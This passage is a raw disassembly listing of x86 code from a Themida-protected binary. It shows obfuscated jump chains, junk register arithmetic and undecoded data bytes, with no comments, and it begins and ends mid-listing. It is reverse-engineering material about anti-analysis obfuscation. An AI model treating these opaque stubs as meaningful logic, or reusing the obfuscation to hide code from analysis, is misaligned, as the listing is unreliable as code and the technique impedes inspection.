		dd 0E924048Fh, 0FFFFAEDFh, 801AC680h, 18E995CEh
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559643:				; CODE XREF: Themida_:00558A6Aj
		add	edi, edx
		pop	edx
		xor	edi, 0F002EDCh
		add	edi, 66E12BA6h
		xor	edi, 0C6A20BB8h
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	59B7h
		mov	[esp], ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_555070
; ---------------------------------------------------------------------------
		dd 805BD804h, 0C30058C3h, 0FFC298E9h, 6F581FFh,	813AA26Eh
		dd 0E03ECEEDh, 0E913h, 0F5810000h, 8B7DB8FEh, 1429C381h
		dd 65E9740Eh, 1FFFFE4h,	306C2DF0h, 565E086Fh, 1B58E9h
		dd 24148700h, 0A6AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5596BD:				; CODE XREF: Themida_:0055A833j
		pop	ecx
		jmp	loc_557B2B
; ---------------------------------------------------------------------------
		db 68h
		dd 4E8h, 0E9240489h, 0FFFFD029h
; ---------------------------------------------------------------------------


loc_5596D0:				; CODE XREF: Themida_:0055D173j
		add	dword ptr [esp], 151D059Fh
		pop	ebp
		sub	ebp, 151D059Fh
		pop	esi
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_557187
; ---------------------------------------------------------------------------


loc_5596EC:				; CODE XREF: Themida_:0055A63Dj
		mov	[esp], edx
		mov	dh, 7Ah
		jmp	loc_55C2CC
; ---------------------------------------------------------------------------


loc_5596F6:				; CODE XREF: Themida_:0055FD3Cj
		push	edi
		mov	edi, 724F2701h
		or	edi, 21E10D3Eh
		add	edi, 11E20B65h
		push	ecx
		mov	ecx, 4A03584h
		sub	ecx, 27EF4437h
		shl	ecx, 5
		xor	ecx, 956347B2h
		or	edi, ecx
		pop	ecx
		shl	edi, 7
		sub	edi, 905170E1h
		add	ebx, edi
		pop	edi
		jmp	loc_555D92
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 8104C483h, 4C7h, 4BD5500h, 0E9000000h, 0FFFFDC63h, 0BB241C89h
		dd 5F663BA2h, 0F703E3C1h, 0EBB951D3h, 0E904CE22h, 32E9h
		dd 43E9DE01h, 89FFFFD1h, 0E589242Ch, 0F4BA5256h, 89118B50h
		dd 0DEF75AD6h, 5EE7CE81h, 0EE816FC2h, 0EFF6FFEBh, 348BF501h
		dd 3419E924h, 0E95C0000h, 0FFFFD147h
; ---------------------------------------------------------------------------


loc_559794:				; CODE XREF: Themida_:00557879j
		xor	edi, 44168855h
		jmp	loc_55F86A
; ---------------------------------------------------------------------------
		db 80h
		dd 0E5881FC4h, 3F30E9h,	24048B00h, 34FF5455h, 0C4835D24h
		dd 0BCBE5604h, 0E925E25Bh, 0FFFFBCE2h, 1201BD55h, 6C814B54h
		dd 28EC0424h, 0EAE96E28h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5597D3:				; CODE XREF: Themida_:00558763j
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		mov	ebp, 1D8F4AD3h
		dec	ebp
		dec	ebp
		or	ebp, 4A887A75h
		jmp	loc_55D06B
; ---------------------------------------------------------------------------


loc_5597EB:				; CODE XREF: Themida_:0055C3A5j
		push	eax
		mov	eax, ebx
		mov	edi, eax
		jmp	loc_55EB97
; ---------------------------------------------------------------------------
		db 59h,	57h, 54h
		dd 0FFFF34E9h, 0FFC280FFh, 0FFAD81E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559805:				; CODE XREF: Themida_:005583EFj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_553BE5
; ---------------------------------------------------------------------------
		db 0BAh, 0FBh, 0
		dd 0F7427105h, 6BF281D2h, 8172730Dh, 89F264EAh,	5AD501FCh
		dd 0FFACB7E9h, 0E95A66FFh, 0FFFFACFCh, 207F83h,	0A55E840Fh
		dd 3968FFFFh, 89000059h, 0B951243Ch, 6EF02860h,	555FE9h
		dd 4EA8100h, 87000000h,	248B2414h, 242C8924h, 5A196856h
		dd 465E61D5h, 0CE81D6F7h, 17140C40h, 937AF681h,	0CCE9D27Bh
		dd 29000012h, 49EA81FAh, 5F61833Eh, 8B241487h, 4892424h
		dd 0A343E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5598A2:				; CODE XREF: Themida_:00554435j
		pop	ebp
		jmp	loc_55FAC2
; ---------------------------------------------------------------------------
		dd 0FCFE952h, 14890000h, 4BA24h, 0BB530000h, 3AC18C8h
		dd 415E9h, 0CE814E00h, 607B52A9h, 0E907E6C1h, 0FFFFC67Ch
		dd 0FF2434FFh, 48B2434h, 0E7895724h, 4C781h, 0BB530000h
		dd 4, 1C8BDF01h, 4C48124h, 87000000h, 0E95C243Ch, 3A3Eh
		dd 0EC81E689h, 4, 0E9243C89h, 0FFFFD1E8h, 5866C308h, 8B3EB80h
		dd 0ED805BDDh, 8BEB28A5h, 0C481240Ch, 4, 8904EC83h, 65E92414h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55992F:				; CODE XREF: Themida_:00553EE6j
		xor	ebx, 6860CCDh
		jmp	loc_5581C8
; ---------------------------------------------------------------------------


loc_55993A:				; CODE XREF: Themida_:00557182j
		push	esi
		mov	esi, 80A7C78h
		shl	esi, 3
		dec	esi
		shr	esi, 2
		push	ebx
		jmp	loc_556A08
; ---------------------------------------------------------------------------


loc_55994D:				; CODE XREF: Themida_:0055C842j
		pop	eax
		xchg	edi, [esp]
		jmp	loc_55ED90
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 240C3124h, 5C240C33h, 1425E9h, 2434FF00h, 0DBE95558h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55996F:				; CODE XREF: Themida_:00556FA1j
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4EFD169Bh
		jmp	loc_559DCE
; ---------------------------------------------------------------------------
		db 80h
		dd 0B652A4CCh, 5AF428DEh, 8058E620h, 6807F6h, 28000000h
		dd 348A2434h, 4C48324h,	8351C6FEh, 148904ECh, 0CBB05024h
		dd 2DE9AD0Ch, 0F7FFFFB9h, 8EAC1DAh, 1CBFC281h, 67E90DCCh
		dd 83FFFFC5h, 0C7E904ECh, 5CFFFFEBh, 54240C89h,	83240C8Bh
		dd 0D1E904C4h, 8700000Dh, 665C243Ch, 50240C8Bh,	405E089h
		dd 2D000000h, 4, 5C240487h, 54241489h, 4C2815Ah, 68000000h
		dd 639Eh, 0E9243489h, 4BC6h, 42474FFh, 0DEC2E95Ah, 525EFFFFh
		dd 0EE0BDCBAh, 81D2F775h, 0E2389CCAh, 0B4B8504Bh, 568B21Fh
		dd 0DF15184Ch, 8158C229h, 508C98EAh, 5AD10181h,	4F98B850h
		dd 2D40181Eh, 0AA1B4BB7h, 158C101h, 0E2E981F9h,	816E0303h
		dd 0DC3827E9h, 0E9010302h, 469h, 348BF001h, 4635E924h
		dd 3C310000h, 4813E924h, 0EF810000h, 34C428F8h,	30CCE9h
		db 0
; ---------------------------------------------------------------------------


loc_559A7D:				; CODE XREF: Themida_:0055F908j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_55408E
; ---------------------------------------------------------------------------
		dd 4E8C15Eh, 0C8DBCC35h, 96EB8139h, 0E95F1B0Eh,	0FFFFB2B2h
		dd 24148966h, 0E99C5066h, 0FFFFA135h
; ---------------------------------------------------------------------------


loc_559AB0:				; CODE XREF: Themida_:0055C386j
		push	953h
		mov	[esp], edx
		mov	edx, 33AB2563h
		or	edx, 10DB4A39h
		inc	edx
		shr	edx, 8
		push	eax
		jmp	loc_55EC3B
; ---------------------------------------------------------------------------


loc_559ACD:				; CODE XREF: Themida_:0055595Fj
		pop	eax
		jmp	loc_55D85F
; ---------------------------------------------------------------------------
		db 81h
		dd 86CC4AF5h, 5DE80126h, 31240433h, 4332404h, 4E95C24h
		dd 5100004Ah, 0FFEFC4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559AF1:				; CODE XREF: Themida_:00558D66j
		shl	ebx, 2
		shl	ebx, 3
		add	ebx, 7D317EE2h
		add	edi, ebx
		pop	ebx
		jmp	loc_555964
; ---------------------------------------------------------------------------
		db 58h,	8Fh, 0
		dd 2F37E9h
		db 0
; ---------------------------------------------------------------------------


loc_559B0D:				; CODE XREF: Themida_:005542FFj
		sub	ebx, 31C10868h
		add	[ebx], esi
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_555366
; ---------------------------------------------------------------------------


loc_559B21:				; CODE XREF: Themida_:00558741j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edx
		push	ecx
		mov	ch, 45h
		jmp	loc_55A831
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 0FFB69FE9h, 0F4B151FFh, 80CEC180h, 0CC30A4C1h, 87EB8059h
		dd 80ADEB80h, 0E300D9EBh, 80D9C380h, 0C380ADC3h, 24048B87h
		dd 4C481h, 0C3000000h, 8067EB80h, 0B60F0DEBh, 8734FFC0h
		dd 0FF2434FFh
		db 34h,	24h, 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55F1E3
; ---------------------------------------------------------------------------


loc_559B8B:				; CODE XREF: Themida_:0055C14Fj
		pop	ebx
		mov	esi, edx
		pop	edx
		sub	esi, 66510BADh
		push	edi
		mov	edi, 58564D44h
		sub	edi, 23625BAh
		add	edi, 0ABF61585h
		xor	esi, edi
		jmp	loc_5558DE
; ---------------------------------------------------------------------------
		dw 6668h
		dd 89000023h, 0CB7241Ch, 5BF828h, 0ED2FE9D8h, 815FFFFFh
		dd 0D65C66F7h, 0D7F75D18h, 8107E7C1h, 0E0951BEFh, 8BFA3194h
		dd 0C483243Ch, 8BD03104h, 89522414h, 4C281E2h, 83000000h
		dd 12E904C2h, 0F7000039h, 0C1DEF7D6h, 0C68108E6h, 643C3B50h
		dd 431FE9h
		db 0
; ---------------------------------------------------------------------------


loc_559C05:				; CODE XREF: Themida_:00553D6Bj
		not	dword ptr [esp]
		jmp	loc_559DE6
; ---------------------------------------------------------------------------


loc_559C0D:				; CODE XREF: Themida_:0055DEA9j
		push	edx
		mov	dl, 0BBh
		and	ch, dl
		pop	edx
		sub	ch, 0D1h
		sub	al, ch
		jmp	loc_557C8B
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		jmp	loc_5568B0
; ---------------------------------------------------------------------------


loc_559C43:				; CODE XREF: Themida_:0055BDDBj
		mov	edi, 61C3203Eh
		xor	edi, 13A972DFh
		jmp	loc_55DF10
; ---------------------------------------------------------------------------
		db 66h
		dd 52240C8Bh, 0BF575A54h, 4, 0E95FFA01h, 0FFFFBC5Ah, 4C281h
		dd 0EA810000h, 4, 31241433h, 14332414h,	24248B24h, 83242489h
		dd 0FF042404h, 0E95F2434h, 0FFFFA2C3h, 6CC12D48h, 0C0E974E4h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559C9B:				; CODE XREF: Themida_:0055EFFDj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55BBB1
; ---------------------------------------------------------------------------
		dd 24048B66h, 0EFE95450h, 68FFFFB5h, 14236464h,	4EEB815Bh
		dd 81429170h, 785339F3h, 5BDD89B1h, 0E3E68h, 242C8900h
		dd 172BE95Fh, 81430000h, 0F05080F3h, 81DBF767h,	0DB8DB0C3h
		dd 5BD9296Fh, 45EBE981h, 0D1017028h, 45EBC181h,	0C1817028h
		dd 0B7F4567h, 497BE9h, 240C8900h, 0C180E8B1h, 59CF203Ah
		dd 8012CF80h, 0D7F6B3EFh, 0C780EFD0h, 0E9F98894h, 17BEh
		dd 241C3166h, 241C3366h, 241C3166h, 6602EC83h, 66241C89h
		dd 1C8B6652h, 2C48124h,	66000000h, 0F287665Ah, 66D6F766h
		dd 3166F287h, 0DA3166D3h, 352EE9h, 588E0500h, 835A2162h
		dd 0FF5002C0h, 58042474h, 8B24048Fh, 0F7662424h, 0A36866E9h
		dd 1489663Ah, 0F395E924h, 5059FFFFh, 80E2B151h,	0E6E968F1h
		dd 66FFFFC8h, 0E9240C8Bh, 0FFFFC0C4h, 3BE9F801h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559D97:				; CODE XREF: Themida_:00558442j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_555D4F
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 68000000h, 586Ah, 0E9241C89h, 0FFFFE630h, 24048F5Ch
		dd 326AE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559DCE:				; CODE XREF: Themida_:0055997Ej
		inc	ebp
		shl	ebp, 2
		sub	ebp, 7FD61116h
		xor	ebp, 0A6066F7Dh
		add	eax, ebp
		pop	ebp
		jmp	loc_557B86
; ---------------------------------------------------------------------------


loc_559DE6:				; CODE XREF: Themida_:00559C08j
		pop	edi
		dec	edi
		push	ebx
		mov	ebx, 1B31489Eh
		sub	edi, 4C5933B0h
		add	edi, ebx
		push	ebp
		mov	ebp, 4C5933B0h
		add	edi, ebp
		pop	ebp
		pop	ebx
		dec	edi
		push	eax
		mov	eax, 4B36697Dh
		push	6033h
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_559563
; ---------------------------------------------------------------------------
aZBiuVns0	db '‡Ëëî¾VNé}0',0
		align 4


loc_559E24:				; CODE XREF: Themida_:0055D5D1j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55FCBC
; ---------------------------------------------------------------------------
		db 68h
		dd 2FF5h, 0E9240489h, 0FFFFF658h, 0E95EF001h, 0FFFFC346h
		dd 8B3CEB80h, 0C483240Ch, 0C0B60F04h, 87048F66h, 427EE9h
		dd 0E1F65C00h, 0CCB60F66h, 1BA36866h, 240C8966h, 0C8B60F66h
		dd 2C45E9h, 50796800h, 14890000h, 148B5424h, 4C48124h
		dd 51000000h, 2273E9h, 26870500h, 3C8B14ECh, 2AE95324h
		dd 5000053h, 4,	0FFE520E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559EA1:				; CODE XREF: Themida_:005590F4j
		push	edx
		jmp	loc_55CBD4
; ---------------------------------------------------------------------------
		db 58h
		dd 8904EC83h, 4FBF243Ch, 3160D6D4h, 0CB295FF9h,	81C32959h
		dd 1D73B3C3h, 8F662Eh, 4E75E9h,	2434FF00h, 83240C8Bh, 0C48304C4h
		dd 42DC6804h, 1C890000h, 42FC6824h, 24890000h, 4B85024h
		dd 81000000h, 0E804246Ch, 1115829h, 0E9042444h,	0FFFFA0B1h
		dd 0CF87D1F7h, 0FFB130E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559F05:				; CODE XREF: Themida_:0055B39Ej
		or	eax, eax
		jnz	loc_55D8D7
		push	ebx
		push	eax
		jmp	loc_55B557
; ---------------------------------------------------------------------------
		dd 0B551DFF6h, 0F3F58021h, 0C8BEF00h, 4C48324h,	46B15166h
		dd 28DDC780h, 505166CFh, 0E4805BB4h, 0D1EC80CDh, 0EC80DCF6h
		dd 58E188ABh, 5966CF28h, 3FE95966h, 0C100004Ah,	9CE908EEh
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559F53:				; CODE XREF: Themida_:0055A5CBj
		xor	eax, ecx
		push	eax
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		not	eax
		jmp	loc_555C0C
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC83240Ch, 24148904h, 4A6B68h, 24248900h, 4240481h
		dd 5A000000h, 4C281h, 0E9530000h, 5392h, 1018E957h, 0D9880000h
		dd 0D4C6E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559F9A:				; CODE XREF: Themida_:0055848Ej
		or	eax, eax
		jz	loc_55D072
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebx
		push	69EB0AD1h
		jmp	loc_556D45
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 2, 0E91DC380h, 59EDh
; ---------------------------------------------------------------------------


loc_559FD4:				; CODE XREF: Themida_:005545B8j
		mov	edi, 440D51F2h
		jmp	loc_5566BD
; ---------------------------------------------------------------------------


loc_559FDE:				; CODE XREF: Themida_:0055E677j
		pop	ebp
		sub	dword ptr [esp+4], 54F90DB0h
		jmp	loc_55D27A
; ---------------------------------------------------------------------------
		dd 761BBAh, 4B45E946h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559FF6:				; CODE XREF: Themida_:0055D75Dj
		push	4008h
		jmp	loc_55D3EC
; ---------------------------------------------------------------------------


loc_55A000:				; CODE XREF: Themida_:0055A65Fj
		not	dword ptr [esp]
		pop	ebp
		push	eax
		jmp	loc_5586EF
; ---------------------------------------------------------------------------


loc_55A00A:				; CODE XREF: Themida_:005589BAj
		mov	eax, 4
		push	ecx
		mov	ecx, 47092B48h
		sub	ecx, 1F70288h
		inc	ecx
		xor	ecx, 56617611h
		sub	ebp, ecx
		pop	ecx
		jmp	loc_558D2F
; ---------------------------------------------------------------------------


loc_55A02A:				; CODE XREF: Themida_:0055D3E7j
		not	ebp
		inc	ebp
		xor	ebp, 545277D8h
		jmp	loc_55A71A
; ---------------------------------------------------------------------------
		dd 3E7B255Fh, 0BA523F57h, 2FDF37A2h, 295AD031h,	0FAB7E9C3h
		dd 77FFFFFFh, 58669D1Ch, 9C240418h, 0FF9B88E9h,	8022B6FFh
		dd 0EED0E5CEh, 0BFE95066h, 81000007h, 773BA6C6h, 10C6813Ch
		dd 1578C90h, 126E9F7h, 9C510000h, 0FF9B60E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A085:				; CODE XREF: Themida_:0055427Fj
		mov	eax, edx
		jmp	loc_558375
; ---------------------------------------------------------------------------
		dd 2BAh, 4BBA5200h, 2D690B4Fh, 26F77496h, 9605D029h, 5A26F774h
		dd 6E7E6D05h, 52D0010Eh, 914F28BAh, 4AD2F769h, 0CEBBF281h
		dd 0D0299800h, 4F4B055Ah, 4EE9690Bh
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A0C7:				; CODE XREF: Themida_:0055FDBDj
		pop	eax
		push	ecx
		jmp	loc_55BDB6
; ---------------------------------------------------------------------------
		dw 0B7BAh
		dd 8101AA40h, 387199E2h, 0D689E91Dh, 1C35FFFFh,	57081274h
		dd 9EB093BFh, 1209E9ABh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A0EE:				; CODE XREF: Themida_:0055858Dj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		or	eax, eax
		jz	loc_557BB3
		push	dword ptr [edi+1Ch]
		xor	dword ptr [esp], 6878050Eh
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_55A1CA
; ---------------------------------------------------------------------------
		db 5Ch
		dd 3875EA81h, 0DA296DD0h, 3875C281h, 1C8B6DD0h,	739C6824h
		dd 4890000h, 5E08924h, 4, 0FFC199E9h, 17E9ADFFh, 0FFFFADh
		dd 506658E6h, 0C4FEF488h, 0FFD631E9h, 0E18951FFh, 0FFD7A5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A169:				; CODE XREF: Themida_:0055F563j
		pop	eax
		add	eax, 4
		jmp	loc_55DEF5
; ---------------------------------------------------------------------------


loc_55A174:				; CODE XREF: Themida_:005548ABj
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	esi
		mov	esi, 1
		jmp	loc_55432D
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 3BE5624h, 891CF87Fh,	9A73E9F1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A196:				; CODE XREF: Themida_:0055E985j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_554EE4
; ---------------------------------------------------------------------------
		dd 0B07BE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A1AA:				; CODE XREF: Themida_:0055F2ACj
		mov	esi, 6E6E5F68h
		push	ebx
		push	7AE8h
		jmp	loc_556B0D
; ---------------------------------------------------------------------------
		dw 0D5F7h
		dd 69BCE581h, 0E5C1500Ch, 4183E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A1CA:				; CODE XREF: Themida_:0055A122j
		xchg	eax, [esp]
		jmp	loc_55E5ED
; ---------------------------------------------------------------------------
		dw 0F501h
		dd 242C875Eh, 0E924248Bh, 0FFFFB1E5h, 0E9EE0058h, 54DFh
		dd 241C8B66h, 2802C483h, 683B04F8h, 66Fh, 13C1E9h, 81DBF700h
		dd 1E5D03CBh, 0BF3811Eh, 2942635Fh, 0CA015BDAh,	226CC281h
		dd 0C2811D7Ch, 4604378Dh, 24148759h, 56C7E9h, 1AE58100h
		dd 0E9223211h, 0FFFFD550h, 0A13DE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A236:				; CODE XREF: Themida_:00556ED5j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5571FC
; ---------------------------------------------------------------------------


loc_55A242:				; CODE XREF: Themida_:0055F85Dj
		sub	edi, 22404B83h
		add	edi, ebp
		jmp	loc_555158
; ---------------------------------------------------------------------------
		db 66h
		dd 664AA968h, 0E9240489h, 0FFFF9989h, 75CF815Dh, 81131532h
		dd 8A8587C7h, 5FF801E8h, 2BC7E956h, 0BE560000h,	5E2C2240h
		dd 46EAE946h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A27E:				; CODE XREF: Themida_:0055433Ej
		push	edi
		push	1E333CFh
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5542D1
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 43E95300h, 89FFFFB2h, 4BD242Ch, 2122F609h, 0DD17E9EFh
		dd 48BFFFFh, 4C48124h, 81000000h, 4C4h,	0D6A2E900h, 0F181FFFFh
		dd 39AA405Bh, 5659CB31h, 0D30632BEh, 0BCE6817Ch, 4E06CE17h
		dd 8105EEC1h, 0C3546F6h, 0D5EE8137h, 0E92848A7h, 3E53h
		dd 30F4EF81h, 9CE9ED40h, 83FFFFA4h, 0C8704E9h, 9D92E924h
		dd 0B951FFFFh, 36E97C37h, 0E959CA09h, 0FFFFD3AFh, 95B68h
		dd 9A11E900h, 0C87FFFFh, 81455C24h, 58E180EDh, 0FFE831E5h
		dd 34FF2434h, 0C4815D24h, 4, 81E78957h,	4C7h, 4C78300h
		dd 5C243C87h, 4EC81h, 3C890000h, 0E9535524h, 0FFFFF95Fh
		dd 6858C601h, 59AFh, 0FF243489h, 0E9042474h, 0FFFFADABh
		dd 665AF028h, 54505251h, 4F2BE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A376:				; CODE XREF: Themida_:0055EC36j
		add	esp, 4
		jmp	loc_5574F9
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 4C481h, 75E90000h, 3100003Eh, 242C8BEAh, 8104C483h
		dd 525A45C2h, 0E9FA0111h, 3B45h, 101ABA52h, 0D00108E1h
		dd 4FC2815Ah, 2979BB12h, 4FEA81C2h, 0E979BB12h,	1A3Ch
		dd 0E9E68956h, 3ACAh, 0C151E956h, 0E7C1FFFFh, 0D7CF8105h
		dd 8120C702h, 453217CFh, 0D5EF8174h, 297DC7B7h,	35DEE9F9h
		dd 0E3890000h, 4C381h, 0C3830000h, 241C8702h, 0FFADA7E9h
		dd 0D6F746FFh, 0FBD2EE81h, 0F189AAFAh, 8BCF895Eh, 0C483240Ch
		dd 5FFB0104h, 0E9241C33h, 0FFFFB46Fh, 6A83F781h, 0C7810693h
		dd 2BDC7875h, 223CCF81h, 0DEE959C5h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A433:				; CODE XREF: Themida_:00555A67j
		xor	ecx, esi
		xor	esi, ecx
		push	ecx
		not	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55473A
; ---------------------------------------------------------------------------


loc_55A449:				; CODE XREF: Themida_:00554DAAj
		pop	edi
		or	eax, eax
		jz	loc_555366
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		jmp	loc_55C516
; ---------------------------------------------------------------------------
		db 0F7h, 0D2h, 0C1h
		dd 0EAC108EAh, 99EA8102h, 0E9EB4BDBh, 3D70h, 0E789575Dh
		dd 4C781h, 0EF810000h, 4, 5C243C87h, 8B241C89h,	8B68241Ch
		dd 89000044h, 0E9542414h, 0FFFFD171h, 8DC28158h, 29562007h
		dd 8DEA81EAh, 5D562007h, 55AD029h, 62F5430Eh, 0E2DD829h
		dd 562F543h, 4A152F72h,	0BD2E9h, 56CF8100h, 816FD378h
		dd 0E0460BCFh, 0C1DFF752h, 0F78103EFh, 100080CAh, 3C8BFB89h
		dd 0F042E924h, 0C681FFFFh, 3FFE4FB7h, 0CE9F701h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A4EF:				; CODE XREF: Themida_:00556556j
		mov	ebx, 64D7644Fh
		push	ebx
		sub	dword ptr [esp], 0FA5299Eh
		pop	ebp
		push	esi
		mov	esi, 0FA5299Eh
		push	ebx
		jmp	loc_55BF9F
; ---------------------------------------------------------------------------
		db 5Ah,	5Bh, 0E9h
		dd 0FFFFB2EEh, 0DF38166h, 0B3DEE903h, 0C6E9FFFFh, 59FFFF96h
		dd 8904EC83h, 0D7B3241Ch, 47B1E952h, 0DA300000h, 1D58E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A535:				; CODE XREF: Themida_:0055CB0Fj
		shr	esi, 8
		push	56A6h
		mov	[esp], ebx
		mov	ebx, 133E32h
		sub	esi, ebx
		pop	ebx
		and	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55C4DE
; ---------------------------------------------------------------------------
		align 2
		dw 66E3h
		dd 22686658h, 1489665Fh, 38B624h, 805A66F3h, 0C300E3C3h
		dd 50E3EB80h, 5AD068h, 240C8900h, 0C180CCB1h, 0C0E0E901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A582:				; CODE XREF: Themida_:00554B08j
		xchg	ebx, [esp]
		jmp	loc_555244
; ---------------------------------------------------------------------------


loc_55A58A:				; CODE XREF: Themida_:0055AE6Aj
		pop	esp


loc_55A58B:				; CODE XREF: Themida_:005541F9j
					; Themida_:005592BCj
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	5804h
		mov	[esp], esi
		jmp	loc_5595DC
; ---------------------------------------------------------------------------
		db 54h
		dd 0EE65E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A5BA:				; CODE XREF: Themida_:005584A5j
		add	ebx, edx
		pop	edx
		jmp	loc_55DA29
; ---------------------------------------------------------------------------


loc_55A5C2:				; CODE XREF: Themida_:00553F14j
		add	esp, 4
		shr	eax, 0Ah
		jmp	loc_559F53
; ---------------------------------------------------------------------------
		dd 0E932FF66h, 0FFFF960Dh, 5504E0C1h, 5769E9h, 0C8B6600h
		dd 0C740E924h, 0C481FFFFh, 4, 2474FF57h, 48F5F04h, 4895C24h
		dd 0B00E924h, 89660000h, 0BB66241Ch, 35E93D59h,	0B400004Ah
		dd 5BDC00C5h, 3795E9h, 895A5300h, 0E95B5AD5h, 4E99h, 81240C8Bh
		dd 4C4h, 28EDE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A632:				; CODE XREF: Themida_:0055C57Cj
		add	bl, al
		sub	bl, 9Dh
		add	bl, 0A1h
		sub	esp, 4
		jmp	loc_5596EC
; ---------------------------------------------------------------------------


loc_55A642:				; CODE XREF: Themida_:005600D9j
		dec	esi
		push	ebx
		mov	ebx, 34E26EE8h
		not	ebx
		dec	ebx
		xor	ebx, 0B144C0CFh
		xor	esi, ebx
		pop	ebx
		xor	ebp, esi
		pop	esi
		add	ebp, 2DC04BC1h
		push	ebp
		jmp	loc_55A000
; ---------------------------------------------------------------------------
		dd 0E9240C89h, 0FFFFAEA5h
; ---------------------------------------------------------------------------


loc_55A66C:				; CODE XREF: Themida_:0055E857j
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	ecx
		push	24h
		pop	ecx
		add	ecx, 55132BFAh
		add	ecx, edi
		jmp	loc_555EFC
; ---------------------------------------------------------------------------
		db 89h
		dd 8CB62414h, 0F0E9F088h, 81FFFFD5h, 4C2h, 4BB5300h, 1000000h
		dd 0BF08E9DAh, 34FFFFFFh, 8F685824h, 8900005Ah,	0E789243Ch
		dd 0EF10E952h, 26E9FFFFh, 81FFFF95h, 4C4h, 4C48300h, 4C781h
		dd 98E90000h, 8FFFFAFh,	0EBC05AD3h, 54B15107h, 0FFBD7EE9h
		dd 5DEA01FFh, 5150C229h, 6A345DB9h, 0AFC18162h,	890CE30Ah
